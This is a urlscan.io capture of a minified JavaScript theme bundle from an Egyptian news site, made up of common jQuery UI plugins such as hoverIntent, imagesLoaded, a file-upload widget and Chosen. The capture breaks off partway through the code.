www.masralyoum.net Open in urlscan Pro
2606:4700:3037::ac43:84c5  Public Scan

URL: https://www.masralyoum.net/temp/assets/f=/themes/sparkle/assets/js/yt.script.js,/themes/sparkle/assets/js/yt.custom.js
Submission: On May 30 via manual from SA — Scanned from DE

Form analysis 0 forms found in the DOM

Text Content

/*!
* hoverIntent r7 // 2013.03.11 // jQuery 1.9.1+
* http://cherne.net/brian/resources/jquery.hoverIntent.html
*
* You may use hoverIntent under the terms of the MIT license.
* Copyright 2007, 2013 Brian Cherne
*/(function(e){e.fn.hoverIntent=function(t,n,r){var i={interval:100,sensitivity:7,timeout:0};if(typeof t==="object"){i=e.extend(i,t)}else if(e.isFunction(n)){i=e.extend(i,{over:t,out:n,selector:r})}else{i=e.extend(i,{over:t,out:t,selector:n})}var s,o,u,a;var f=function(e){s=e.pageX;o=e.pageY};var l=function(t,n){n.hoverIntent_t=clearTimeout(n.hoverIntent_t);if(Math.abs(u-s)+Math.abs(a-o)<i.sensitivity){e(n).off("mousemove.hoverIntent",f);n.hoverIntent_s=1;return i.over.apply(n,[t])}else{u=s;a=o;n.hoverIntent_t=setTimeout(function(){l(t,n)},i.interval)}};var c=function(e,t){t.hoverIntent_t=clearTimeout(t.hoverIntent_t);t.hoverIntent_s=0;return i.out.apply(t,[e])};var h=function(t){var n=jQuery.extend({},t);var r=this;if(r.hoverIntent_t){r.hoverIntent_t=clearTimeout(r.hoverIntent_t)}if(t.type=="mouseenter"){u=n.pageX;a=n.pageY;e(r).on("mousemove.hoverIntent",f);if(r.hoverIntent_s!=1){r.hoverIntent_t=setTimeout(function(){l(n,r)},i.interval)}}else{e(r).off("mousemove.hoverIntent",f);if(r.hoverIntent_s==1){r.hoverIntent_t=setTimeout(function(){c(n,r)},i.timeout)}}};return this.on({"mouseenter.hoverIntent":h,"mouseleave.hoverIntent":h},i.selector)}})(jQuery);/*!
* imagesLoaded PACKAGED v3.1.4
* JavaScript is all like "You images are done yet or what?"
* MIT License
*/!function(e){"use strict";var i=function(i,t){if(this.$element=e(i),this.type=this.$element.data("uploadtype")||(this.$element.find(".thumbnail").length>0?"image":"file"),this.$input=this.$element.find(":file"),0!==this.$input.length){this.name=this.$input.attr("name")||t.name,this.$hidden=this.$element.find('input[type=hidden][name="'+this.name+'"]'),0===this.$hidden.length&&(this.$hidden=e('<input type="hidden" />'),this.$element.prepend(this.$hidden)),this.$preview=this.$element.find(".fileupload-preview");var s=this.$preview.css("height");"inline"!=this.$preview.css("display")&&"0px"!=s&&"none"!=s&&this.$preview.css("line-height",s),this.original={exists:this.$element.hasClass("fileupload-exists"),preview:this.$preview.html(),hiddenVal:this.$hidden.val()},this.$remove=this.$element.find('[data-dismiss="fileupload"]'),this.$element.find('[data-trigger="fileupload"]').on("click.fileupload",e.proxy(this.trigger,this)),this.listen()}};i.prototype={listen:function(){this.$input.on("change.fileupload",e.proxy(this.change,this)),e(this.$input[0].form).on("reset.fileupload",e.proxy(this.reset,this)),this.$remove&&this.$remove.on("click.fileupload",e.proxy(this.clear,this))},change:function(e,i){if("clear"!==i){var t=void 0!==e.target.files?e.target.files[0]:e.target.value?{name:e.target.value.replace(/^.+\\/,"")}:null;if(!t)return void this.clear();if(this.$hidden.val(""),this.$hidden.attr("name",""),this.$input.attr("name",this.name),"image"===this.type&&this.$preview.length>0&&("undefined"!=typeof t.type?t.type.match("image.*"):t.name.match(/\.(gif|png|jpe?g)$/i))&&"undefined"!=typeof FileReader){var s=new FileReader,a=this.$preview,n=this.$element;s.onload=function(e){a.html('<img src="'+e.target.result+'" '+("none"!=a.css("max-height")?'style="max-height: '+a.css("max-height")+';"':"")+" />"),n.addClass("fileupload-exists").removeClass("fileupload-new")},s.readAsDataURL(t)}else this.$preview.text(t.name),this.$element.addClass("fileupload-exists").removeClass("fileupload-new")}},clear:function(e){if(this.$hidden.val(""),this.$hidden.attr("name",this.name),this.$input.attr("name",""),navigator.userAgent.match(/msie/i)){var i=this.$input.clone(!0);this.$input.after(i),this.$input.remove(),this.$input=i}else this.$input.val("");this.$preview.html(""),this.$element.addClass("fileupload-new").removeClass("fileupload-exists"),e&&(this.$input.trigger("change",["clear"]),e.preventDefault())},reset:function(){this.clear(),this.$hidden.val(this.original.hiddenVal),this.$preview.html(this.original.preview),this.original.exists?this.$element.addClass("fileupload-exists").removeClass("fileupload-new"):this.$element.addClass("fileupload-new").removeClass("fileupload-exists")},trigger:function(e){this.$input.trigger("click"),e.preventDefault()}},e.fn.fileupload=function(t){return this.each(function(){var s=e(this),a=s.data("fileupload");a||s.data("fileupload",a=new i(this,t)),"string"==typeof t&&a[t]()})},e.fn.fileupload.Constructor=i,e(document).on("click.fileupload.data-api",'[data-provides="fileupload"]',function(i){var t=e(this);if(!t.data("fileupload")){t.fileupload(t.data());var s=e(i.target).closest('[data-dismiss="fileupload"],[data-trigger="fileupload"]');s.length>0&&(s.trigger("click.fileupload"),i.preventDefault())}})}(jQuery);(function(){function e(){}
function t(e,t){for(var n=e.length;n--;)if(e[n].listener===t)return n;return-1}
function n(e){return function(){return this[e].apply(this,arguments)}}
var i=e.prototype,r=this,o=r.EventEmitter;i.getListeners=function(e){var t,n,i=this._getEvents();if("object"==typeof e){t={};for(n in i)i.hasOwnProperty(n)&&e.test(n)&&(t[n]=i[n])}else t=i[e]||(i[e]=[]);return t},i.flattenListeners=function(e){var t,n=[];for(t=0;e.length>t;t+=1)n.push(e[t].listener);return n},i.getListenersAsObject=function(e){var t,n=this.getListeners(e);return n instanceof Array&&(t={},t[e]=n),t||n},i.addListener=function(e,n){var i,r=this.getListenersAsObject(e),o="object"==typeof n;for(i in r)r.hasOwnProperty(i)&&-1===t(r[i],n)&&r[i].push(o?n:{listener:n,once:!1});return this},i.on=n("addListener"),i.addOnceListener=function(e,t){return this.addListener(e,{listener:t,once:!0})},i.once=n("addOnceListener"),i.defineEvent=function(e){return this.getListeners(e),this},i.defineEvents=function(e){for(var t=0;e.length>t;t+=1)this.defineEvent(e[t]);return this},i.removeListener=function(e,n){var i,r,o=this.getListenersAsObject(e);for(r in o)o.hasOwnProperty(r)&&(i=t(o[r],n),-1!==i&&o[r].splice(i,1));return this},i.off=n("removeListener"),i.addListeners=function(e,t){return this.manipulateListeners(!1,e,t)},i.removeListeners=function(e,t){return this.manipulateListeners(!0,e,t)},i.manipulateListeners=function(e,t,n){var i,r,o=e?this.removeListener:this.addListener,s=e?this.removeListeners:this.addListeners;if("object"!=typeof t||t instanceof RegExp)for(i=n.length;i--;)o.call(this,t,n[i]);else for(i in t)t.hasOwnProperty(i)&&(r=t[i])&&("function"==typeof r?o.call(this,i,r):s.call(this,i,r));return this},i.removeEvent=function(e){var t,n=typeof e,i=this._getEvents();if("string"===n)delete i[e];else if("object"===n)for(t in i)i.hasOwnProperty(t)&&e.test(t)&&delete i[t];else delete this._events;return this},i.removeAllListeners=n("removeEvent"),i.emitEvent=function(e,t){var n,i,r,o,s=this.getListenersAsObject(e);for(r in s)if(s.hasOwnProperty(r))for(i=s[r].length;i--;)n=s[r][i],n.once===!0&&this.removeListener(e,n.listener),o=n.listener.apply(this,t||[]),o===this._getOnceReturnValue()&&this.removeListener(e,n.listener);return this},i.trigger=n("emitEvent"),i.emit=function(e){var t=Array.prototype.slice.call(arguments,1);return this.emitEvent(e,t)},i.setOnceReturnValue=function(e){return this._onceReturnValue=e,this},i._getOnceReturnValue=function(){return this.hasOwnProperty("_onceReturnValue")?this._onceReturnValue:!0},i._getEvents=function(){return this._events||(this._events={})},e.noConflict=function(){return r.EventEmitter=o,e},"function"==typeof define&&define.amd?define("eventEmitter/EventEmitter",[],function(){return e}):"object"==typeof module&&module.exports?module.exports=e:this.EventEmitter=e}).call(this),function(e){function t(t){var n=e.event;return n.target=n.target||n.srcElement||t,n}
var n=document.documentElement,i=function(){};n.addEventListener?i=function(e,t,n){e.addEventListener(t,n,!1)}:n.attachEvent&&(i=function(e,n,i){e[n+i]=i.handleEvent?function(){var n=t(e);i.handleEvent.call(i,n)}:function(){var n=t(e);i.call(e,n)},e.attachEvent("on"+n,e[n+i])});var r=function(){};n.removeEventListener?r=function(e,t,n){e.removeEventListener(t,n,!1)}:n.detachEvent&&(r=function(e,t,n){e.detachEvent("on"+t,e[t+n]);try{delete e[t+n]}catch(i){e[t+n]=void 0}});var o={bind:i,unbind:r};"function"==typeof define&&define.amd?define("eventie/eventie",o):e.eventie=o}(this),function(e,t){"function"==typeof define&&define.amd?define(["eventEmitter/EventEmitter","eventie/eventie"],function(n,i){return t(e,n,i)}):"object"==typeof exports?module.exports=t(e,require("eventEmitter"),require("eventie")):e.imagesLoaded=t(e,e.EventEmitter,e.eventie)}(this,function(e,t,n){function i(e,t){for(var n in t)e[n]=t[n];return e}
function r(e){return"[object Array]"===d.call(e)}
function o(e){var t=[];if(r(e))t=e;else if("number"==typeof e.length)for(var n=0,i=e.length;i>n;n++)t.push(e[n]);else t.push(e);return t}
function s(e,t,n){if(!(this instanceof s))return new s(e,t);"string"==typeof e&&(e=document.querySelectorAll(e)),this.elements=o(e),this.options=i({},this.options),"function"==typeof t?n=t:i(this.options,t),n&&this.on("always",n),this.getImages(),a&&(this.jqDeferred=new a.Deferred);var r=this;setTimeout(function(){r.check()})}
function c(e){this.img=e}
function f(e){this.src=e,v[e]=this}
var a=e.jQuery,u=e.console,h=u!==void 0,d=Object.prototype.toString;s.prototype=new t,s.prototype.options={},s.prototype.getImages=function(){this.images=[];for(var e=0,t=this.elements.length;t>e;e++){var n=this.elements[e];"IMG"===n.nodeName&&this.addImage(n);for(var i=n.querySelectorAll("img"),r=0,o=i.length;o>r;r++){var s=i[r];this.addImage(s)}}},s.prototype.addImage=function(e){var t=new c(e);this.images.push(t)},s.prototype.check=function(){function e(e,r){return t.options.debug&&h&&u.log("confirm",e,r),t.progress(e),n++,n===i&&t.complete(),!0}
var t=this,n=0,i=this.images.length;if(this.hasAnyBroken=!1,!i)return this.complete(),void 0;for(var r=0;i>r;r++){var o=this.images[r];o.on("confirm",e),o.check()}},s.prototype.progress=function(e){this.hasAnyBroken=this.hasAnyBroken||!e.isLoaded;var t=this;setTimeout(function(){t.emit("progress",t,e),t.jqDeferred&&t.jqDeferred.notify&&t.jqDeferred.notify(t,e)})},s.prototype.complete=function(){var e=this.hasAnyBroken?"fail":"done";this.isComplete=!0;var t=this;setTimeout(function(){if(t.emit(e,t),t.emit("always",t),t.jqDeferred){var n=t.hasAnyBroken?"reject":"resolve";t.jqDeferred[n](t)}})},a&&(a.fn.imagesLoaded=function(e,t){var n=new s(this,e,t);return n.jqDeferred.promise(a(this))}),c.prototype=new t,c.prototype.check=function(){var e=v[this.img.src]||new f(this.img.src);if(e.isConfirmed)return this.confirm(e.isLoaded,"cached was confirmed"),void 0;if(this.img.complete&&void 0!==this.img.naturalWidth)return this.confirm(0!==this.img.naturalWidth,"naturalWidth"),void 0;var t=this;e.on("confirm",function(e,n){return t.confirm(e.isLoaded,n),!0}),e.check()},c.prototype.confirm=function(e,t){this.isLoaded=e,this.emit("confirm",this,t)};var v={};return f.prototype=new t,f.prototype.check=function(){if(!this.isChecked){var e=new Image;n.bind(e,"load",this),n.bind(e,"error",this),e.src=this.src,this.isChecked=!0}},f.prototype.handleEvent=function(e){var t="on"+e.type;this[t]&&this[t](e)},f.prototype.onload=function(e){this.confirm(!0,"onload"),this.unbindProxyEvents(e)},f.prototype.onerror=function(e){this.confirm(!1,"onerror"),this.unbindProxyEvents(e)},f.prototype.confirm=function(e,t){this.isConfirmed=!0,this.isLoaded=e,this.emit("confirm",this,t)},f.prototype.unbindProxyEvents=function(e){n.unbind(e.target,"load",this),n.unbind(e.target,"error",this)},s});(function(e,t,n,r){e.fn.doubleTapToGo=function(r){if(!("ontouchstart"in t)&&!navigator.msMaxTouchPoints&&!navigator.userAgent.toLowerCase().match(/windows phone os 7/i))return false;this.each(function(){var t=false;e(this).on("click",function(n){var r=e(this);if(r[0]!=t[0]){n.preventDefault();t=r}});e(n).on("click touchstart MSPointerDown",function(n){var r=true,i=e(n.target).parents();for(var s=0;s<i.length;s++)if(i[s]==t[0])r=false;if(r)t=false})});return this}})(jQuery,window,document);/*!
* FitVids 1.0.3
*
* Copyright 2013, Chris Coyier - http://css-tricks.com + Dave Rupert - http://daverupert.com
* Credit to Thierry Koblentz - http://www.alistapart.com/articles/creating-intrinsic-ratios-for-video/
* Released under the WTFPL license - http://sam.zoy.org/wtfpl/
*
* Date: Thu Sept 01 18:00:00 2011 -0500
*/!function(){var a,AbstractChosen,Chosen,SelectParser,b,c={}.hasOwnProperty,d=function(a,b){function d(){this.constructor=a}for(var e in b)c.call(b,e)&&(a[e]=b[e]);return d.prototype=b.prototype,a.prototype=new d,a.__super__=b.prototype,a};SelectParser=function(){function SelectParser(){this.options_index=0,this.parsed=[]}return SelectParser.prototype.add_node=function(a){return"OPTGROUP"===a.nodeName.toUpperCase()?this.add_group(a):this.add_option(a)},SelectParser.prototype.add_group=function(a){var b,c,d,e,f,g;for(b=this.parsed.length,this.parsed.push({array_index:b,group:!0,label:this.escapeExpression(a.label),children:0,disabled:a.disabled}),f=a.childNodes,g=[],d=0,e=f.length;e>d;d++)c=f[d],g.push(this.add_option(c,b,a.disabled));return g},SelectParser.prototype.add_option=function(a,b,c){return"OPTION"===a.nodeName.toUpperCase()?(""!==a.text?(null!=b&&(this.parsed[b].children+=1),this.parsed.push({array_index:this.parsed.length,options_index:this.options_index,value:a.value,text:a.text,html:a.innerHTML,selected:a.selected,disabled:c===!0?c:a.disabled,group_array_index:b,classes:a.className,style:a.style.cssText})):this.parsed.push({array_index:this.parsed.length,options_index:this.options_index,empty:!0}),this.options_index+=1):void 0},SelectParser.prototype.escapeExpression=function(a){var b,c;return null==a||a===!1?"":/[\&\<\>\"\'\`]/.test(a)?(b={"<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#x27;","`":"&#x60;"},c=/&(?!\w+;)|[\<\>\"\'\`]/g,a.replace(c,function(a){return b[a]||"&amp;"})):a},SelectParser}(),SelectParser.select_to_array=function(a){var b,c,d,e,f;for(c=new SelectParser,f=a.childNodes,d=0,e=f.length;e>d;d++)b=f[d],c.add_node(b);return c.parsed},AbstractChosen=function(){function AbstractChosen(a,b){this.form_field=a,this.options=null!=b?b:{},AbstractChosen.browser_is_supported()&&(this.is_multiple=this.form_field.multiple,this.set_default_text(),this.set_default_values(),this.setup(),this.set_up_html(),this.register_observers())}return AbstractChosen.prototype.set_default_values=function(){var a=this;return this.click_test_action=function(b){return a.test_active_click(b)},this.activate_action=function(b){return a.activate_field(b)},this.active_field=!1,this.mouse_on_container=!1,this.results_showing=!1,this.result_highlighted=null,this.allow_single_deselect=null!=this.options.allow_single_deselect&&null!=this.form_field.options[0]&&""===this.form_field.options[0].text?this.options.allow_single_deselect:!1,this.disable_search_threshold=this.options.disable_search_threshold||0,this.disable_search=this.options.disable_search||!1,this.enable_split_word_search=null!=this.options.enable_split_word_search?this.options.enable_split_word_search:!0,this.group_search=null!=this.options.group_search?this.options.group_search:!0,this.search_contains=this.options.search_contains||!1,this.single_backstroke_delete=null!=this.options.single_backstroke_delete?this.options.single_backstroke_delete:!0,this.max_selected_options=this.options.max_selected_options||1/0,this.inherit_select_classes=this.options.inherit_select_classes||!1,this.display_selected_options=null!=this.options.display_selected_options?this.options.display_selected_options:!0,this.display_disabled_options=null!=this.options.display_disabled_options?this.options.display_disabled_options:!0},AbstractChosen.prototype.set_default_text=function(){return this.default_text=this.form_field.getAttribute("data-placeholder")?this.form_field.getAttribute("data-placeholder"):this.is_multiple?this.options.placeholder_text_multiple||this.options.placeholder_text||AbstractChosen.default_multiple_text:this.options.placeholder_text_single||this.options.placeholder_text||AbstractChosen.default_single_text,this.results_none_found=this.form_field.getAttribute("data-no_results_text")||this.options.no_results_text||AbstractChosen.default_no_result_text},AbstractChosen.prototype.mouse_enter=function(){return this.mouse_on_container=!0},AbstractChosen.prototype.mouse_leave=function(){return this.mouse_on_container=!1},AbstractChosen.prototype.input_focus=function(){var a=this;if(this.is_multiple){if(!this.active_field)return setTimeout(function(){return a.container_mousedown()},50)}else if(!this.active_field)return this.activate_field()},AbstractChosen.prototype.input_blur=function(){var a=this;return this.mouse_on_container?void 0:(this.active_field=!1,setTimeout(function(){return a.blur_test()},100))},AbstractChosen.prototype.results_option_build=function(a){var b,c,d,e,f;for(b="",f=this.results_data,d=0,e=f.length;e>d;d++)c=f[d],b+=c.group?this.result_add_group(c):this.result_add_option(c),(null!=a?a.first:void 0)&&(c.selected&&this.is_multiple?this.choice_build(c):c.selected&&!this.is_multiple&&this.single_set_selected_text(c.text));return b},AbstractChosen.prototype.result_add_option=function(a){var b,c;return a.search_match?this.include_option_in_results(a)?(b=[],a.disabled||a.selected&&this.is_multiple||b.push("active-result"),!a.disabled||a.selected&&this.is_multiple||b.push("disabled-result"),a.selected&&b.push("result-selected"),null!=a.group_array_index&&b.push("group-option"),""!==a.classes&&b.push(a.classes),c=document.createElement("li"),c.className=b.join(" "),c.style.cssText=a.style,c.setAttribute("data-option-array-index",a.array_index),c.innerHTML=a.search_text,this.outerHTML(c)):"":""},AbstractChosen.prototype.result_add_group=function(a){var b;return a.search_match||a.group_match?a.active_options>0?(b=document.createElement("li"),b.className="group-result",b.innerHTML=a.search_text,this.outerHTML(b)):"":""},AbstractChosen.prototype.results_update_field=function(){return this.set_default_text(),this.is_multiple||this.results_reset_cleanup(),this.result_clear_highlight(),this.results_build(),this.results_showing?this.winnow_results():void 0},AbstractChosen.prototype.reset_single_select_options=function(){var a,b,c,d,e;for(d=this.results_data,e=[],b=0,c=d.length;c>b;b++)a=d[b],a.selected?e.push(a.selected=!1):e.push(void 0);return e},AbstractChosen.prototype.results_toggle=function(){return this.results_showing?this.results_hide():this.results_show()},AbstractChosen.prototype.results_search=function(){return this.results_showing?this.winnow_results():this.results_show()},AbstractChosen.prototype.winnow_results=function(){var a,b,c,d,e,f,g,h,i,j,k,l;for(this.no_results_clear(),d=0,f=this.get_search_text(),a=f.replace(/[-[\]{}()*+?.,\\^$|#\s]/g,"\\$&"),i=new RegExp(a,"i"),c=this.get_search_regex(a),l=this.results_data,j=0,k=l.length;k>j;j++)b=l[j],b.search_match=!1,e=null,this.include_option_in_results(b)&&(b.group&&(b.group_match=!1,b.active_options=0),null!=b.group_array_index&&this.results_data[b.group_array_index]&&(e=this.results_data[b.group_array_index],0===e.active_options&&e.search_match&&(d+=1),e.active_options+=1),(!b.group||this.group_search)&&(b.search_text=b.group?b.label:b.text,b.search_match=this.search_string_match(b.search_text,c),b.search_match&&!b.group&&(d+=1),b.search_match?(f.length&&(g=b.search_text.search(i),h=b.search_text.substr(0,g+f.length)+"</em>"+b.search_text.substr(g+f.length),b.search_text=h.substr(0,g)+"<em>"+h.substr(g)),null!=e&&(e.group_match=!0)):null!=b.group_array_index&&this.results_data[b.group_array_index].search_match&&(b.search_match=!0)));return this.result_clear_highlight(),1>d&&f.length?(this.update_results_content(""),this.no_results(f)):(this.update_results_content(this.results_option_build()),this.winnow_results_set_highlight())},AbstractChosen.prototype.get_search_regex=function(a){var b;return b=this.search_contains?"":"^",new RegExp(b+a,"i")},AbstractChosen.prototype.search_string_match=function(a,b){var c,d,e,f;if(b.test(a))return!0;if(this.enable_split_word_search&&(a.indexOf(" ")>=0||0===a.indexOf("["))&&(d=a.replace(/\[|\]/g,"").split(" "),d.length))for(e=0,f=d.length;f>e;e++)if(c=d[e],b.test(c))return!0},AbstractChosen.prototype.choices_count=function(){var a,b,c,d;if(null!=this.selected_option_count)return this.selected_option_count;for(this.selected_option_count=0,d=this.form_field.options,b=0,c=d.length;c>b;b++)a=d[b],a.selected&&(this.selected_option_count+=1);return this.selected_option_count},AbstractChosen.prototype.choices_click=function(a){return a.preventDefault(),this.results_showing||this.is_disabled?void 0:this.results_show()},AbstractChosen.prototype.keyup_checker=function(a){var b,c;switch(b=null!=(c=a.which)?c:a.keyCode,this.search_field_scale(),b){case 8:if(this.is_multiple&&this.backstroke_length<1&&this.choices_count()>0)return this.keydown_backstroke();if(!this.pending_backstroke)return this.result_clear_highlight(),this.results_search();break;case 13:if(a.preventDefault(),this.results_showing)return this.result_select(a);break;case 27:return this.results_showing&&this.results_hide(),!0;case 9:case 38:case 40:case 16:case 91:case 17:break;default:return this.results_search()}},AbstractChosen.prototype.clipboard_event_checker=function(){var a=this;return setTimeout(function(){return a.results_search()},50)},AbstractChosen.prototype.container_width=function(){return null!=this.options.width?this.options.width:""+this.form_field.offsetWidth+"px"},AbstractChosen.prototype.include_option_in_results=function(a){return this.is_multiple&&!this.display_selected_options&&a.selected?!1:!this.display_disabled_options&&a.disabled?!1:a.empty?!1:!0},AbstractChosen.prototype.search_results_touchstart=function(a){return this.touch_started=!0,this.search_results_mouseover(a)},AbstractChosen.prototype.search_results_touchmove=function(a){return this.touch_started=!1,this.search_results_mouseout(a)},AbstractChosen.prototype.search_results_touchend=function(a){return this.touch_started?this.search_results_mouseup(a):void 0},AbstractChosen.prototype.outerHTML=function(a){var b;return a.outerHTML?a.outerHTML:(b=document.createElement("div"),b.appendChild(a),b.innerHTML)},AbstractChosen.browser_is_supported=function(){return"Microsoft Internet Explorer"===window.navigator.appName?document.documentMode>=8:/iP(od|hone)/i.test(window.navigator.userAgent)?!1:/Android/i.test(window.navigator.userAgent)&&/Mobile/i.test(window.navigator.userAgent)?!1:!0},AbstractChosen.default_multiple_text="أختار",AbstractChosen.default_single_text="اختار",AbstractChosen.default_no_result_text="No results match",AbstractChosen}(),a=jQuery,a.fn.extend({chosen:function(b){return AbstractChosen.browser_is_supported()?this.each(function(){var c,d;c=a(this),d=c.data("chosen"),"destroy"===b&&d instanceof Chosen?d.destroy():d instanceof Chosen||c.data("chosen",new Chosen(this,b))}):this}}),Chosen=function(c){function Chosen(){return b=Chosen.__super__.constructor.apply(this,arguments)}return d(Chosen,c),Chosen.prototype.setup=function(){return this.form_field_jq=a(this.form_field),this.current_selectedIndex=this.form_field.selectedIndex,this.is_rtl=this.form_field_jq.hasClass("chosen-rtl")},Chosen.prototype.set_up_html=function(){var b,c;return b=["chosen-container"],b.push("chosen-container-"+(this.is_multiple?"multi":"single")),this.inherit_select_classes&&this.form_field.className&&b.push(this.form_field.className),this.is_rtl&&b.push("chosen-rtl"),c={"class":b.join(" "),style:"width: "+this.container_width()+";",title:this.form_field.title},this.form_field.id.length&&(c.id=this.form_field.id.replace(/[^\w]/g,"_")+"_chosen"),this.container=a("<div />",c),this.is_multiple?this.container.html('<ul class="chosen-choices"><li class="search-field"><input type="text" value="'+this.default_text+'" class="default" autocomplete="off" style="width:25px;" /></li></ul><div class="chosen-drop"><ul class="chosen-results"></ul></div>'):this.container.html('<a class="chosen-single chosen-default" tabindex="-1"><span>'+this.default_text+'</span><div><b></b></div></a><div class="chosen-drop"><div class="chosen-search"><input type="text" autocomplete="off" /></div><ul class="chosen-results"></ul></div>'),this.form_field_jq.hide().after(this.container),this.dropdown=this.container.find("div.chosen-drop").first(),this.search_field=this.container.find("input").first(),this.search_results=this.container.find("ul.chosen-results").first(),this.search_field_scale(),this.search_no_results=this.container.find("li.no-results").first(),this.is_multiple?(this.search_choices=this.container.find("ul.chosen-choices").first(),this.search_container=this.container.find("li.search-field").first()):(this.search_container=this.container.find("div.chosen-search").first(),this.selected_item=this.container.find(".chosen-single").first()),this.results_build(),this.set_tab_index(),this.set_label_behavior(),this.form_field_jq.trigger("chosen:ready",{chosen:this})},Chosen.prototype.register_observers=function(){var a=this;return this.container.bind("touchstart.chosen",function(b){a.container_mousedown(b)}),this.container.bind("touchend.chosen",function(b){a.container_mouseup(b)}),this.container.bind("mousedown.chosen",function(b){a.container_mousedown(b)}),this.container.bind("mouseup.chosen",function(b){a.container_mouseup(b)}),this.container.bind("mouseenter.chosen",function(b){a.mouse_enter(b)}),this.container.bind("mouseleave.chosen",function(b){a.mouse_leave(b)}),this.search_results.bind("mouseup.chosen",function(b){a.search_results_mouseup(b)}),this.search_results.bind("mouseover.chosen",function(b){a.search_results_mouseover(b)}),this.search_results.bind("mouseout.chosen",function(b){a.search_results_mouseout(b)}),this.search_results.bind("mousewheel.chosen DOMMouseScroll.chosen",function(b){a.search_results_mousewheel(b)}),this.search_results.bind("touchstart.chosen",function(b){a.search_results_touchstart(b)}),this.search_results.bind("touchmove.chosen",function(b){a.search_results_touchmove(b)}),this.search_results.bind("touchend.chosen",function(b){a.search_results_touchend(b)}),this.form_field_jq.bind("chosen:updated.chosen",function(b){a.results_update_field(b)}),this.form_field_jq.bind("chosen:activate.chosen",function(b){a.activate_field(b)}),this.form_field_jq.bind("chosen:open.chosen",function(b){a.container_mousedown(b)}),this.form_field_jq.bind("chosen:close.chosen",function(b){a.input_blur(b)}),this.search_field.bind("blur.chosen",function(b){a.input_blur(b)}),this.search_field.bind("keyup.chosen",function(b){a.keyup_checker(b)}),this.search_field.bind("keydown.chosen",function(b){a.keydown_checker(b)}),this.search_field.bind("focus.chosen",function(b){a.input_focus(b)}),this.search_field.bind("cut.chosen",function(b){a.clipboard_event_checker(b)}),this.search_field.bind("paste.chosen",function(b){a.clipboard_event_checker(b)}),this.is_multiple?this.search_choices.bind("click.chosen",function(b){a.choices_click(b)}):this.container.bind("click.chosen",function(a){a.preventDefault()})},Chosen.prototype.destroy=function(){return a(this.container[0].ownerDocument).unbind("click.chosen",this.click_test_action),this.search_field[0].tabIndex&&(this.form_field_jq[0].tabIndex=this.search_field[0].tabIndex),this.container.remove(),this.form_field_jq.removeData("chosen"),this.form_field_jq.show()},Chosen.prototype.search_field_disabled=function(){return this.is_disabled=this.form_field_jq[0].disabled,this.is_disabled?(this.container.addClass("chosen-disabled"),this.search_field[0].disabled=!0,this.is_multiple||this.selected_item.unbind("focus.chosen",this.activate_action),this.close_field()):(this.container.removeClass("chosen-disabled"),this.search_field[0].disabled=!1,this.is_multiple?void 0:this.selected_item.bind("focus.chosen",this.activate_action))},Chosen.prototype.container_mousedown=function(b){return this.is_disabled||(b&&"mousedown"===b.type&&!this.results_showing&&b.preventDefault(),null!=b&&a(b.target).hasClass("search-choice-close"))?void 0:(this.active_field?this.is_multiple||!b||a(b.target)[0]!==this.selected_item[0]&&!a(b.target).parents("a.chosen-single").length||(b.preventDefault(),this.results_toggle()):(this.is_multiple&&this.search_field.val(""),a(this.container[0].ownerDocument).bind("click.chosen",this.click_test_action),this.results_show()),this.activate_field())},Chosen.prototype.container_mouseup=function(a){return"ABBR"!==a.target.nodeName||this.is_disabled?void 0:this.results_reset(a)},Chosen.prototype.search_results_mousewheel=function(a){var b;return a.originalEvent&&(b=a.originalEvent.deltaY||-a.originalEvent.wheelDelta||a.originalEvent.detail),null!=b?(a.preventDefault(),"DOMMouseScroll"===a.type&&(b=40*b),this.search_results.scrollTop(b+this.search_results.scrollTop())):void 0},Chosen.prototype.blur_test=function(){return!this.active_field&&this.container.hasClass("chosen-container-active")?this.close_field():void 0},Chosen.prototype.close_field=function(){return a(this.container[0].ownerDocument).unbind("click.chosen",this.click_test_action),this.active_field=!1,this.results_hide(),this.container.removeClass("chosen-container-active"),this.clear_backstroke(),this.show_search_field_default(),this.search_field_scale()},Chosen.prototype.activate_field=function(){return this.container.addClass("chosen-container-active"),this.active_field=!0,this.search_field.val(this.search_field.val()),this.search_field.focus()},Chosen.prototype.test_active_click=function(b){var c;return c=a(b.target).closest(".chosen-container"),c.length&&this.container[0]===c[0]?this.active_field=!0:this.close_field()},Chosen.prototype.results_build=function(){return this.parsing=!0,this.selected_option_count=null,this.results_data=SelectParser.select_to_array(this.form_field),this.is_multiple?this.search_choices.find("li.search-choice").remove():this.is_multiple||(this.single_set_selected_text(),this.disable_search||this.form_field.options.length<=this.disable_search_threshold?(this.search_field[0].readOnly=!0,this.container.addClass("chosen-container-single-nosearch")):(this.search_field[0].readOnly=!1,this.container.removeClass("chosen-container-single-nosearch"))),this.update_results_content(this.results_option_build({first:!0})),this.search_field_disabled(),this.show_search_field_default(),this.search_field_scale(),this.parsing=!1},Chosen.prototype.result_do_highlight=function(a){var b,c,d,e,f;if(a.length){if(this.result_clear_highlight(),this.result_highlight=a,this.result_highlight.addClass("highlighted"),d=parseInt(this.search_results.css("maxHeight"),10),f=this.search_results.scrollTop(),e=d+f,c=this.result_highlight.position().top+this.search_results.scrollTop(),b=c+this.result_highlight.outerHeight(),b>=e)return this.search_results.scrollTop(b-d>0?b-d:0);if(f>c)return this.search_results.scrollTop(c)}},Chosen.prototype.result_clear_highlight=function(){return this.result_highlight&&this.result_highlight.removeClass("highlighted"),this.result_highlight=null},Chosen.prototype.results_show=function(){return this.is_multiple&&this.max_selected_options<=this.choices_count()?(this.form_field_jq.trigger("chosen:maxselected",{chosen:this}),!1):(this.container.addClass("chosen-with-drop"),this.results_showing=!0,this.search_field.focus(),this.search_field.val(this.search_field.val()),this.winnow_results(),this.form_field_jq.trigger("chosen:showing_dropdown",{chosen:this}))},Chosen.prototype.update_results_content=function(a){return this.search_results.html(a)},Chosen.prototype.results_hide=function(){return this.results_showing&&(this.result_clear_highlight(),this.container.removeClass("chosen-with-drop"),this.form_field_jq.trigger("chosen:hiding_dropdown",{chosen:this})),this.results_showing=!1},Chosen.prototype.set_tab_index=function(){var a;return this.form_field.tabIndex?(a=this.form_field.tabIndex,this.form_field.tabIndex=-1,this.search_field[0].tabIndex=a):void 0},Chosen.prototype.set_label_behavior=function(){var b=this;return this.form_field_label=this.form_field_jq.parents("label"),!this.form_field_label.length&&this.form_field.id.length&&(this.form_field_label=a("label[for='"+this.form_field.id+"']")),this.form_field_label.length>0?this.form_field_label.bind("click.chosen",function(a){return b.is_multiple?b.container_mousedown(a):b.activate_field()}):void 0},Chosen.prototype.show_search_field_default=function(){return 